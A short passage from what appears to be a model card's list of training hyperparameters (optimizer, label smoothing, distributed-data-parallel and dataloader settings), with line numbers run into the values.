`deepspeed`: None1186- `label_smoothing_factor`: 0.01187- `optim`: adamw_torch1188- `optim_args`: None1189- `adafactor`: False1190- `group_by_length`: False1191- `length_column_name`: length1192- `ddp_find_unused_parameters`: None1193- `ddp_bucket_cap_mb`: None1194- `ddp_broadcast_buffers`: False1195- `dataloader_pin_memory`: True1196- `dataloader_persistent_workers`: False1197- `skip_memory_metrics`: True1198- `use_legacy_prediction_loop`: False1199- `push_to_hub`: False1200- `resume_from_checkpoint`: None